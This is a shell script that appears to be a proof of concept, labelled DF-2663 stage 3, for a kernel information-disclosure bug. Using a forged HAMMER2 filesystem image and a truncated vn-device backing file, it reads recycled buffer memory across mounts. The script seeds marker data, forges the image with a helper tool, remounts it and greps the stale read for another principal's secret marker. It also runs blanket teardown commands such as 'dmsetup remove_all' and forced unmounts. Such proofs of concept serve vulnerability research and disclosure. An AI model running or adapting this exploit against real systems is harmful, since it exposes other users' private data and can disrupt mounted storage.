#!/bin/sh
# DF-2663 stage 3: seeded cross-mount buffer-recycling disclosure (stock kernel).
# 1. seed.img: leakfile data block REALLY at 192MB (SEEDA content), backing intact.
#    mount -> read -> SEEDA (validates path). umount (invalidates vn0 buffers).
# 2. truncate backing to 192MB; mount forged (data_off still 192MB|radix16,
#    CHECK_NONE) -> read -> recycled buffer memory = stale content.
exec > /root/poc/run3.log 2>&1
set -x
for m in /mnt/h2; do timeout 10 umount -f $m 2>/dev/null; done
dmsetup remove_all 2>/dev/null
vnconfig -u vn0 2>/dev/null

# marker on the root fs (other principal's data)
( yes "DF2663SECRET-ROOTFS-MARKER-0123456789abcdef" | head -c 2097152 ) > /DF2663MARK 2>/dev/null
cat /DF2663MARK > /dev/null
sync

# SEEDA content (deterministic, incompressible-ish)
i=0
while [ $i -lt 1024 ]; do
  printf "SEEDA%04d-DF2663-CROSSMOUNT-0123456789abcdef\n" $i
  i=$((i+1))
done > /root/poc/seeda.txt
# 1024*48 = 49152 < 65536; pad to exactly 64KB with a tail marker
dd if=/dev/zero bs=16384 count=1 >> /root/poc/seeda.txt 2>/dev/null
printf "TAILMARK-DF2663-ZZZZ" >> /root/poc/seeda.txt
ls -l /root/poc/seeda.txt

cp /root/poc/base.img /root/poc/seed.img
dd if=/root/poc/seeda.txt of=/root/poc/seed.img bs=64k seek=3072 conv=notrunc status=none
/root/poc/forge2663 /root/poc/seed.img /root/poc/seed.img 0xC000010 0x00 0

echo "=== PHASE 1: mount seed (real data at 192MB), read"
vnconfig -c vn0 /root/poc/seed.img
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
cat /mnt/h2/leakfile > /root/poc/seed_read.bin
echo "SEED_READ_RC=$?"
md5 /root/poc/seed_read.bin /root/poc/seeda.txt
head -c 64 /root/poc/seed_read.bin; echo
umount /mnt/h2
vnconfig -u vn0

echo "=== PHASE 2: vnconfig FIRST (media 256MB+32K), then truncate, mount, read"
vnconfig -c vn0 /root/poc/seed.img
/root/poc/diocgtest /dev/vn0
truncate -s 201326592 /root/poc/seed.img
/root/poc/diocgtest /dev/vn0
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
cat /mnt/h2/leakfile > /root/poc/stale_read.bin
echo "STALE_READ_RC=$?"
md5 /root/poc/stale_read.bin /root/poc/seed_read.bin
head -c 200 /root/poc/stale_read.bin | od -c | head -8
echo "--- grep for prior content / marker:"
grep -c SEEDA /root/poc/stale_read.bin || echo "no-SEEDA"
grep -c DF2663SECRET /root/poc/stale_read.bin || echo "no-ROOTMARK"
strings /root/poc/stale_read.bin | head -10
umount /mnt/h2
vnconfig -u vn0
echo PHASE3_DONE
